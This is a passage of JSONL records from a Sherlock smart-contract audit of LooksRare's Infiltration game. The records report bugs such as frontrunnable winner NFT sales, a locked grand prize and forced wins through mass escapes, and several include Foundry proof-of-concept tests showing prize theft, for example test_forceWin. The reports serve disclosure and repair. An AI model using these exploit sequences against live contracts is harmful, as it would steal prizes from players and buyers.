prize, [the winner continues to be transferrable](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L924), meaning sales could be frontrun by a malicious victor in order to procure **both** the grand prize and the sale value.\n\n## Vulnerability Detail\n\nThe `transferFrom` function inherited from `ERC721A` was specifically overrided to prevent transfers of agents whose status is not one of `Active` or `Wounded`.\n\nFrom the sponsor in the Sherlock [__Discord__](https://discord.com/channels/812037309376495636/1168564996897243246/1170045482534436915):\n\n> escaped and dead agents are out of the game and carry no financial value, healing agents might be out of the game next round if healing fails so there is a risk of sales frontrunning the kill. wounded agents for the most time are still in the game. theoretically wounded agents in their last round carry the same risk but this is an accepted risk to us because the alternative would be to add more checks in transferFrom, which makes trading more expensive. We are trying to strike a balance between the cost of trade and safety. [sic]\n\nAll secondary prizes are awarded to dead agents which have no risk of being traded, which is consistent with this logic. However, the winning agent may still continue to be traded even after withdrawing the prize, meaning transactions wishing to purchase the winning agent on a secondary marketplace could be frontrun by a malicious victor:\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport {ITransferManager} from \"@looksrare/contracts-transfer-manager/contracts/interfaces/ITransferManager.sol\";\nimport {console} from \"forge-std/console.sol\";\nimport {IOwnableTwoSteps} from \"@looksrare/contracts-libs/contracts/interfaces/IOwnableTwoSteps.sol\";\nimport {VRFConsumerBaseV2} from \"@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol\";\nimport {VRFCoordinatorV2Interface} from \"@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol\";\n\nimport {IInfiltration} from \"../../contracts/interfaces/IInfiltration.sol\";\nimport {Infiltration} from \"../../contracts/Infiltration.sol\";\n\nimport {TestHelpers} from \"./TestHelpers.sol\";\n\nimport {MockERC20} from \"../mock/MockERC20.sol\";\nimport {AssertionHelpers} from \"./AssertionHelpers.sol\";\nimport {ChainlinkHelpers} from \"./ChainlinkHelpers.sol\";\n\nimport {TestParameters} from \"./TestParameters.sol\";\n\ncontract Infiltration_Sherlock_TransferWinner is TestHelpers {\n\n function setUp() public {\n _forkMainnet();\n _deployInfiltration();\n _setMintPeriod();\n }\n\n function test_sherlock_transferWinner() public {\n\n _downTo1ActiveAgent();\n\n IInfiltration.Agent memory agent = infiltration.getAgent(1);\n address winner = _ownerOf(agent.agentId);\n\n expectEmitCheckAll();\n emit PrizeClaimed(agent.agentId, address(0), 425 ether);\n\n vm.prank(winner);\n infiltration.claimGrandPrize();\n\n assertEq(winner.balance, 425 ether);\n assertEq(address(infiltration).balance, 0);\n\n (, , , , , , , , uint256 prizePool, , ) = infiltration.gameInfo();\n assertEq(prizePool, 0);\n\n invariant_totalAgentsIsEqualToTotalSupply();\n\n address unsuspectingUser = address(696969);\n\n vm.prank(winner);\n infiltration.transferFrom(winner, unsuspectingUser, agent.agentId);\n assertTrue(_ownerOf(agent.agentId) == unsuspectingUser);\n \n }\n}\n```\n\nYields the following console output:\n\n```shell\n[⠢] Compiling...\n[⠆] Compiling 19 files with 0.8.20\n[⠔] Solc 0.8.20 finished in 200.07s\nCompiler run successful with warnings:\n\nRunning 1 test for test/foundry/Infiltration.Sherlock.TransferWinner.t.sol:Infiltration_Sherlock_TransferWinner\n[PASS] test_sherlock_transferWinner() (gas: 805601025)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.03s\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\nThis sequence of operations indeed proves that `Infiltration`'s protections against sales frontrunning do not apply to the victorious agent, which is inconsistent with the remainder of the protection logic.\n\nThis issue arises from the fact that the victor is the last agent remaining `Active` (and therefore transferrable), though other positions carrying financial value are not transferrable because they have been `Killed`.\n\n## Impact\n\nTrade safety of the winning agent on secondary marketplaces is not offered the necessary protections that are applied to secondary prizewinners or agents-in-play.\n\n## Code Snippet\n\n```solidity\n/**\n * @notice Only active and wounded agents are allowed to be transferred or traded.\n * @param from The current owner of the token.\n * @param to The new owner of the token. * @param tokenId The token ID.\n */\n function transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n}\n```\n\n## Tool used\n\nManual Review, Visual Studio Code, Discord\n\n## Recommendation\n\nOnce the grand prize has been claimed, the winning agent should be `Killed` in order to prevent future transfers.\n\nPlease note, this issue also applies (though in slightly lesser extent) to the winning agent's ability to withdraw a secondary prize - ideally the outstanding prizes should be settled atomically for the winning agent. This would also improve user experience by reducing the required number of transactions.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//009-M/056-best.md"}} +{"title":"The buyer of the winner's Infiltration NFT may face front-running risks, as the winner could claim the rewards before the Infiltration NFT is traded","severity":"medium","body":"Damaged Ocean Mantaray\n\nmedium\n\n# The buyer of the winner's Infiltration NFT may face front-running risks, as the winner could claim the rewards before the Infiltration NFT is traded\n## Summary\n\nIf the grand prize winner lists the winning Infiltration NFT on the secondary market and initiates their claiming transaction before the trade transaction occurs, the NFT buyer could potentially incur financial losses.\n\n\n## Vulnerability Detail\n\nAs implemented in [`Infiltration.transferFrom`](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L924), only Infiltration NFTs in the \"Active\" and \"Wounded\" states can be transferred or traded.\n\n```solidity\n /**\n * @notice Only active and wounded agents are allowed to be transferred or traded.\n * @param from The current owner of the token.\n * @param to The new owner of the token.\n * @param tokenId The token ID.\n */\n function transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n }\n```\n\nAfter a game ends, only the first-place player(the winenr) remains active, enabling the winner's NFT to be traded.\nConsidering the following scenario:\n\n1. Alice wins the game and lists the NFT on the secondary market with less moeny than the prizes(including grand prize and secondary prize).\n2. Bob decides to purchase the NFT, recognizing that it is profitable to trade and claim the prizes associated with it.\n3. Alice monitors the mempool and submits a `claimGrandPrize` transaction just before Bob’s purchase transaction.\n4. Bob receives the NFT and calls to `claimGrandPrize` but this transaction would revert as the prizes have already been claimed by Alice. \nConsequently, Alice receives the prizes and the the amount of the transaction, while Bob is left with an empty NFT and no prizes.\n\n\nTo demonstrate this scenario, you can add the following test to `contracts-infiltration/test/foundry/Infiltration.claimGrandPrize.t.sol`. For the sake of simplicity, Alice will only call `claimGrandPrize` before transferring. **It's important to note that this scenario can arise not only from the grand prize but also from the secondary prizes.**\n\nRun with `forge test --match-test test_transferWinner -vv`, it will revert because the grand prize has been clamied by Alice.\n\n```diff\ndiff --git a/contracts-infiltration/test/foundry/Infiltration.claimGrandPrize.t.sol b/contracts-infiltration/test/foundry/Infiltration.claimGrandPrize.t.sol\nindex 18d926e..3796b20 100644\n--- a/contracts-infiltration/test/foundry/Infiltration.claimGrandPrize.t.sol\n+++ b/contracts-infiltration/test/foundry/Infiltration.claimGrandPrize.t.sol\n@@ -7,6 +7,7 @@ import {VRFConsumerBaseV2} from \"@chainlink/contracts/src/v0.8/VRFConsumerBaseV2\n import {IInfiltration} from \"../../contracts/interfaces/IInfiltration.sol\";\n\n import {TestHelpers} from \"./TestHelpers.sol\";\n+import {IERC721A} from \"erc721a/contracts/IERC721A.sol\";\n\n contract Infiltration_ClaimGrandPrize_Test is TestHelpers {\n function setUp() public {\n@@ -15,6 +16,22 @@ contract Infiltration_ClaimGrandPrize_Test is TestHelpers {\n _setMintPeriod();\n }\n\n+ function test_transferWinner() public {\n+ _downTo1ActiveAgent();\n+\n+ IInfiltration.Agent memory agent = infiltration.getAgent(1);\n+ address winner = _ownerOf(agent.agentId);\n+\n+ vm.startPrank(winner);\n+ infiltration.claimGrandPrize();\n+\n+ IERC721A(address(infiltration)).transferFrom(winner, user1, agent.agentId);\n+\n+ vm.startPrank(user1);\n+ infiltration.claimGrandPrize();\n+\n+ }\n+\n function test_claimGrandPrize() public {\n _downTo1ActiveAgent();\n```\n\n\n## Impact\n\nThe buyer of the winner's Infiltration NFT will lose all their funds and receive only the claimed NFT.\n\n\n## Code Snippet\n\n[Infiltration.sol#L656-L672](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L656-L672)\n[Infiltration.sol#L677-L711](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L677-L711)\n\n\n## Tool used\n\nManual Review, Foundry\n\n## Recommendation\n\nTo ensure the NFT's security, consider either burning the winner's NFT or marking its status as *\"Dead\"* after it has been claimed for both the grand prize and secondary prizes. This action will help prevent any further transactions or potential issues with the NFT.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//009-M/009.md"}} +{"title":"`agents[1].agentId` access in `claimGrandPrize` is potentially incorrect and can lead to loss of grand prize","severity":"major","body":"Warm Concrete Mole\n\nhigh\n\n# `agents[1].agentId` access in `claimGrandPrize` is potentially incorrect and can lead to loss of grand prize\n## Summary\n\n`agents[1].agentId` can potentially be `0` in the event that `agentId = 1` is the winner. This will cause problems with claiming the grand prize. \n\n## Vulnerability Detail\n\nInitially, for all `i`, `agents[i].agentId = 0` and it is assumed that if the `agents[i].agentId = 0` then it is the really the same as the index (in this case `i`). However, we access `agents[1].agentId` directly when attempting to claim the grand prize. If `agents[1].agentId` is still `0` (i.e. it was never set formally to a value at any point, for example through `_swap`), then we will incorrectly use 0 as the `agentId` instead of the correct value of 1. \n\nThis will lead to the ownership check failing while claiming the grand prize, so the winner (owner of agentId `1`) will not be able to claim:\n\n```solidity\n uint256 agentId = agents[1].agentId;\n _assertAgentOwnership(agentId);\n```\n\n## Impact\n\nGrand prize cannot be claimed under specific circumstances (agent 1 is the winner and `agents[1].agentId` was never changed from `0`, for example through `_swap`).\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L656-L659\n\n## Tool used\n\nManual Review\n\n## Recommendation\nYou can just use `getAgent` and access the `agentId` from there instead.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//008-H/127.md"}} +{"title":"Winning agent id may be uninitialized when game is over, locking grand prize","severity":"major","body":"Fun Aegean Halibut\n\nhigh\n\n# Winning agent id may be uninitialized when game is over, locking grand prize\n## Summary\nIn the `Infiltration` contract, the `agents` mapping holds all of the agents structs, and encodes the ranking of the agents (used to determine prizes at the end of the game).\n\nThis mapping records are lazily initialized when two agents are swapped (an agent is either killed or escapes):\n- The removed agent goes to the end of currently alive agents array with the status `Killed/Escaped` and its `agentId` is set \n- The last agent of the currently alive agents array is put in place of the previously removed agent and its `agentId` is set\n\nThis is the only moment when the `agentId` of an agent record is set.\n\nThis means that if the first agent in the array ends up never being swapped, it keeps its agentId as zero, and the grand prize is unclaimable. \n\n## Vulnerability Detail\nWe can see in the implementation of `claimGrandPrize` that:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L658\n\nThe field `Agent.agentId` of the struct is used to determine if the caller can claim. Since the id is zero, and it is and invalid id for an agent, there is no owner for it and the condition:\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1666-L1670\n\nAlways reverts.\n\n## Impact\nThe grand prize ends up locked/unclaimable by the winner\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn `claimGrandPrize` use 1 as the default if `agents[1].agentId == 0`:\n\n```diff\nfunction claimGrandPrize() external nonReentrant {\n _assertGameOver();\n uint256 agentId = agents[1].agentId;\n+ if (agentId == 0)\n+ agentId = 1;\n _assertAgentOwnership(agentId);\n\n uint256 prizePool = gameInfo.prizePool;\n\n if (prizePool == 0) {\n revert NothingToClaim();\n }\n\n gameInfo.prizePool = 0;\n\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, prizePool, gasleft());\n\n emit PrizeClaimed(agentId, address(0), prizePool);\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//008-H/031-best.md"}} +{"title":"Attacker can steal reward of actual winner by force ending the game","severity":"major","body":"Shaggy Emerald Dalmatian\n\nhigh\n\n# Attacker can steal reward of actual winner by force ending the game\n## Summary\n\nA malicious user can force win the game by escaping all but one wounded agent, and steal the grand price.\n\n## Vulnerability Detail\n\nCurrently following scenario is possible: \nThere is an attacker owning some lower index agents and some higher index agents.\nThere is a normal user owing one agent with an index between the attackers agents.\nIf one of the attackers agents with an lower index gets wounded, he can escape all other agents and will instantly win the game,\neven if the other User has still one active agent.\n\nThis is possible because because the winner is determined by the agent index, \nand escaping all agents at once wont kill the wounded agent because the game instantly ends.\n\nFollowing check inside startNewRound prevents killing of wounded agents by starting a new round:\n\n```solidity\nuint256 activeAgents = gameInfo.activeAgents;\n if (activeAgents == 1) {\n revert GameOver();\n }\n```\n\nFollowing check inside of claimPrize pays price to first ID agent:\n\n```solidity\nuint256 agentId = agents[1].agentId;\n_assertAgentOwnership(agentId);\n```\n\nSee following POC:\n\n## POC\n\nPut this into Infiltration.mint.t.sol and run `forge test --match-test forceWin -vvv`\n\n```solidity\nfunction test_forceWin() public {\n address attacker = address(1337);\n\n //prefund attacker and user1\n vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);\n vm.deal(attacker, PRICE * MAX_MINT_PER_ADDRESS);\n\n // MINT some agents\n vm.warp(_mintStart());\n // attacker wants to make sure he owns a bunch of agents with low IDs!!\n vm.prank(attacker);\n infiltration.mint{value: PRICE * 30}({quantity: 30});\n // For simplicity we mint only 1 agent to user 1 here, but it could be more, they could get wounded, etc.\n vm.prank(user1);\n infiltration.mint{value: PRICE *1}({quantity: 1});\n //Attacker also wants a bunch of agents with the highest IDs, as they are getting swapped with the killed agents (move forward)\n vm.prank(attacker);\n infiltration.mint{value: PRICE * 30}({quantity: 30});\n \n vm.warp(_mintEnd());\n\n //start the game\n vm.prank(owner);\n infiltration.startGame();\n\n vm.prank(VRF_COORDINATOR);\n uint256[] memory randomWords = new uint256[](1);\n randomWords[0] = 69_420;\n VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(1), randomWords);\n // Now we are in round 2 we do have 1 wounded agent (but we can imagine any of our agent got wounded, doesn´t really matter)\n \n // we know with our HARDCODED RANDOMNESS THAT AGENT 3 gets wounded!!\n\n // Whenever we get in a situation, that we own all active agents, but 1 and our agent has a lower index we can instant win the game!!\n // This is done by escaping all agents, at once, except the lowest index\n uint256[] memory escapeIds = new uint256[](59);\n escapeIds[0] = 1;\n escapeIds[1] = 2;\n uint256 i = 4; //Scipping our wounded AGENT 3\n for(; i < 31;) {\n escapeIds[i-2] = i;\n unchecked {++i;}\n }\n //skipping 31 as this owned by user1\n unchecked {++i;}\n for(; i < 62;) {\n escapeIds[i-3] = i;\n unchecked {++i;}\n }\n vm.prank(attacker);\n infiltration.escape(escapeIds);\n\n (uint16 activeAgents, uint16 woundedAgents, , uint16 deadAgents, , , , , , , ) = infiltration.gameInfo();\n console.log(\"Active\", activeAgents);\n assertEq(activeAgents, 1);\n // This will end the game instantly.\n //owner should not be able to start new round\n vm.roll(block.number + BLOCKS_PER_ROUND);\n vm.prank(owner);\n vm.expectRevert();\n infiltration.startNewRound();\n\n //Okay so the game is over, makes sense!\n // Now user1 has the only active AGENT, so he should claim the grand prize!\n // BUT user1 cannot\n vm.expectRevert(IInfiltration.NotAgentOwner.selector);\n vm.prank(user1);\n infiltration.claimGrandPrize();\n\n //instead the attacker can:\n vm.prank(attacker);\n infiltration.claimGrandPrize();\n \n```\n\n## Impact\n\nAttacker can steal the grand price of the actual winner by force ending the game trough escapes.\n\nThis also introduces problems if there are other players with wounded agents but lower < 50 TokenID, they can claim prices \nfor wounded agents, which will break parts of the game logic.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L589-L592\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L656-L672\n## Tool used\n\nManual Review\n\n## Recommendation\n\nStart a new Round before the real end of game to clear all wounded agents and reorder IDs.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//007-H/098-best.md"}} +{"title":"attacker can win the game without being last active agent","severity":"major","body":"Clean Burgundy Jay\n\nhigh\n\n# attacker can win the game without being last active agent\n## Summary\n\nIn case a user has a lot of agents and can make it that an escape of agents leaves only 1 living agent, the placement is not updated correctly.\n\n## Vulnerability Detail\n\nThe contract uses the agentIndex to determine the final placement.\nThis starts to equal the tokenId. Than, whenever an agent dies or escapes, his index is swapped with the last index.\n\nThe problem is that, as soon as a round starts with only 1 living agent left, the indexes are not updated anymore.\n\nTherefore, using escape, an attacker can force to go down to only 1 agent, but still get the reward for the first price, as his agent sits in the first position \n\n## Impact\n\nAttacker can steal prize pool\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L589-L592\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nupdate the indexes one last time when the final state is reached","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//007-H/096.md"}} +{"title":"A participant with enough active agents can force win for his wounded agents","severity":"major","body":"Fun Aegean Halibut\n\nhigh\n\n# A participant with enough active agents can force win for his wounded agents\n## Summary\nInfiltration contract decides the game is over when only one `Active` agent is left. The assumption is that the game will go through a round which is initialized with `number of agents < NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS`, such as all remaining wounded agents are killed at that point.\n\nHowever if a participant has enough agents to escape, it may not be the case, and the participant can skip the `killing` of wounded agents and allow these agents to claim secondary prizes.\n\n## Vulnerability Detail\n\nLet's examine the following scenario:\n### Prerequisites\n- NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS = 50\n- Alice holds 20 active agents (ranked 31 to 51) and 20 wounded agents (ranked 1 to 20)\n- Bob holds 1 active agent and 10 healing agents (ranked 20 to 31)\n(Rankings are consecutive for simplicity of the example)\n\n### Steps\n1/ Alice escapes all of her active agents, freezing the ranks of all of the remaining alive agents.\n\n> Note that since the game is over, Bob cannot call `startNewRound()` to initiate the killing of Alice's wounded agents:\n> https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L590-L648\n\n2/ With her wounded agents, Alice can claim Grand prize, and top secondary prizes,\n3/ Whereas with healing and last active agent, Bob can only claim lowest secondary prizes \n\n## Impact\n\nPrizes are unfairly distributed, this is a loss of funds for honest participants\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnforce the `cleaning` of wounded participants when game is over to claim grand prize","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//007-H/047.md"}} +{"title":"Game is not fair if less round passed than 2 and agents pass under the threshold of 50 users","severity":"medium","body":"Sunny Bronze Gecko\n\nmedium\n\n# Game is not fair if less round passed than 2 and agents pass under the threshold of 50 users\n## Summary\n\nGame prevents agents to heal if they haven't been wounded for at least 2 rounds (`if (currentRoundId - woundedAt < 2) { revert HealingMustWaitAtLeastOneRound();}`).\nHowever there is a scenario where my agent is wounded, one round pass and then in next round either due to escapers or due to agents killed, `activeAgents()` number becomes less than 50 so I cannot heal anymore which is unfair due to the fact that more than 1 round passed and I was wounded in an epoch where there were more than 50 agents\n\n## Vulnerability Detail\nMultiples scenario are possible and I will try to show them here , let's suppose : \n- Alice has agent with ID 456\n- We are at round 20, there are still 53 agents in the game\n- At round 21 Alice can't call `heal()` due to the restriction I explained above\n\nHere 2 scenarios are possible : \n1. At round 21 , 3 agents are killed and nobody is healed so there are now less than 50 agents. Then `heal()` function is deactivated and Alice agent will be killed at 22 when `startNewRound` is called without a chance to heal even if he would have one.\n2. At Round 21 , 2 agents were killed , there are still 51 agents. At the end of `fulfillRandomWords()`, `roundId = 22` , Alice wants to heal but one agent escape (because he wants to escape or maliciously by front-running Alice TX) and `agentsAlive == 50` so heal() function is no longer available , Alice agent is killed when `startNewRound` is called at round 22\n\n\nSo in both scenario Alice agent is killed 2 rounds after he was wounded , in a round where she should be allowed to have a chance to heal him. \nThis unfair scenario is possible due to 3 things : either unfair game rules or malicious opponent or a non-malicious opponent\n\n## Impact\n\nUnfair game due to : \n- An agent wounded 2 rounds before number of agents pass under threshold(50) for healing has no chance to heal even if the 2 rounds delay is respected\n- wounded agents at the round just before number of agents pass under threshold(50) are sentenced with no chance to survive even if they should have one\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L801\n\n## Tool used\n\nManual Review\n\n## Recommendation\n1. Remove the restriction that prevents healing one round after having been wounded \n2. Store the number of agents alive when the agent is wounded and allow any user with more than 1 round wounded and with more than 50 agents at the time of the wound to have a chance to heal","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//006-M/101.md"}} +{"title":"Users have no option to heal agents with probability 99 percents","severity":"medium","body":"Sneaky Ocean Chicken\n\nmedium\n\n# Users have no option to heal agents with probability 99 percents\n## Summary\nDue to check at the line L#844 of the `Infiltration` contract users have no option to heal agents at the first round after they are wounded. The healing probability can be decreased faster depending on the amount of rounds before the agent dies (`ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD`). The shortest possible period before an agent dies is 3 rounds. So the probability can decrease dramatically to the second round after wounding.\n\n## Vulnerability Detail\nDepends on how early the user decided to heal a wounded agent the probability of success of the agent healing is from 99% (the first round since wounding) to 80% (the last round before the agent will be killed):\n```solidity\n1004 * Maximum_Heal_Percentage - the maximum % chance a user can heal for, this will be if they heal in Heal_Rounds_Minimum (we have set this to 99% of a successful healing) - this is y1\n1005 * Minimum_Heal_Percentage - the minimum % chance a user can heal for, this will be if they heal in Heal_Rounds_Maximum (we have set this to 80% of a successful healing) - this is y2\n\n1019 function healProbability(uint256 healingBlocksDelay) public view returns (uint256 y) {\n1020 if (healingBlocksDelay == 0 || healingBlocksDelay > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD) {\n1021 revert InvalidHealingBlocksDelay();\n1022 }\n1023\n1024 y =\n1025 HEAL_PROBABILITY_MINUEND -\n1026 ((healingBlocksDelay * 19) * PROBABILITY_PRECISION) /\n1027 ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n1028 }\n``` \nThe `healingBlocksDelay` parameter is the amount of rounds since the agent was wounded. So if the amount equals `1` the probability of successful healing is 99%.\nBut due to the check at the `heal` function users can't heal agents at the first round after wounding:\n```solidity\n844 if (currentRoundId - woundedAt < 2) {\n845 revert HealingMustWaitAtLeastOneRound();\n846 }\n```\n\n## Impact\nUsers have no option to heal agents with maximal probability but should have.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L844-L845\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1014-L1028\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider using `1` instead of `2` in the check:\n```diff\n- if (currentRoundId - woundedAt < 2) {\n+ if (currentRoundId - woundedAt < 1) {\n revert HealingMustWaitAtLeastOneRound();\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//006-M/049.md"}} +{"title":"Wound agent can't invoke heal in the next round","severity":"medium","body":"Scruffy Beige Mantaray\n\nmedium\n\n# Wound agent can't invoke heal in the next round\n## Summary\nAccording to the document:\n\n> if a user dies on round 12. The first round they can heal is round 13\nHowever incorrect current round id check led to users being unable to invoke the `heal` function in the next round.\n\n## Vulnerability Detail \nAssume players being marked as wounded in the round `12` , players cannot invoke `heal` in the next round 13\n\n```solidity\n function test_heal_in_next_round_v1() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(11);\n\n\n (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: 12});\n\n address agentOwner = _ownerOf(woundedAgentIds[0]);\n looks.mint(agentOwner, HEAL_BASE_COST);\n\n vm.startPrank(agentOwner);\n _grantLooksApprovals();\n looks.approve(TRANSFER_MANAGER, HEAL_BASE_COST);\n\n uint256[] memory agentIds = new uint256[](1);\n agentIds[0] = woundedAgentIds[0];\n\n uint256[] memory costs = new uint256[](1);\n costs[0] = HEAL_BASE_COST;\n\n //get gameInfo\n (,,,,,uint40 currentRoundId,,,,,) = infiltration.gameInfo();\n assert(currentRoundId == 13);\n\n //get agent Info\n IInfiltration.Agent memory agentInfo = infiltration.getAgent(woundedAgentIds[0]);\n assert(agentInfo.woundedAt == 12);\n\n //agent can't invoke heal in the next round.\n vm.expectRevert(IInfiltration.HealingMustWaitAtLeastOneRound.selector);\n infiltration.heal(agentIds);\n }\n```\n\n## Impact\nUser have to wait for 1 more round which led to the odds for an Agent to heal successfully start at 99% at Round 1 reduce to 98% at Round 2.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L843#L847\n\n```solidity\n // No need to check if the heal deadline has passed as the agent would be killed\n unchecked {\n if (currentRoundId - woundedAt < 2) {\n revert HealingMustWaitAtLeastOneRound();\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n // No need to check if the heal deadline has passed as the agent would be killed\n unchecked {\n- if (currentRoundId - woundedAt < 2) {\n- if (currentRoundId - woundedAt < 1) {\n revert HealingMustWaitAtLeastOneRound();\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//006-M/044-best.md"}} +{"title":"Inconsistency in healing between docs and code, healing is only possible after 2 rounds","severity":"medium","body":"Quick Silver Stallion\n\nhigh\n\n# Inconsistency in healing between docs and code, healing is only possible after 2 rounds\n## Summary\nThe documentation states that healing is possible after 1 round, as evidenced here:\n\"So, for example, if an agent is wounded in round 12, the first round they can heal is round 13, denoted as EligibleRoundCount = 1.\"\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/README.md#percentage-chance-to-heal\n\nHowever, the code implementation permits healing only after 2 rounds. Therefore, the correct statement should be: \"The first round they can heal is round 14, not 13.\"\n## Vulnerability Detail\nAs we can see in the following link that the heal is only possible after 2 rounds, assuming an agent is wounded at round 13, earliest possible round that the agent can heal hisself is the round 15 due to this check here:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L843-L847\n\nAssuming the agent is wounded at round 13 and the current round is 14:\n13 - 14 < 2 = 1 < 2 = true = revert.\n\nTo give more details, Assuming that the active agents are higher than the secondary wins count for at least 3 more rounds, if the game is in round 13 in order for game to be in round 14 the chainlink VFR needs to call the fullFill function. Once the fulfill function is called the current rounds wounded agents will be determined and the round id will increase to 14. Once the game is in round 14 now we need to wait for a day and call startNewRound this will trigger the VFR and now we can expect an another fulfill call from VFR and the round will be updated to 15. Once the round is 15 now the wounded agent in round 13 can call heal because 15-13 < 2 = 2 < 2 = false so there will be no reverts and function can work. \n\n## Impact\nThis is clearly not consistent with the README of the page so I am assuming this is wrongly implemented hence, I will classify this as high \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L843-L847\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1096-L1196\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L579-L651\n## Tool used\n\nManual Review\n\n## Recommendation\nEither change the doc accordingly or make the if statement as follows:\n```solidity\nunchecked {\n if (currentRoundId - woundedAt < 1) {\n revert HealingMustWaitAtLeastOneRound();\n }\n 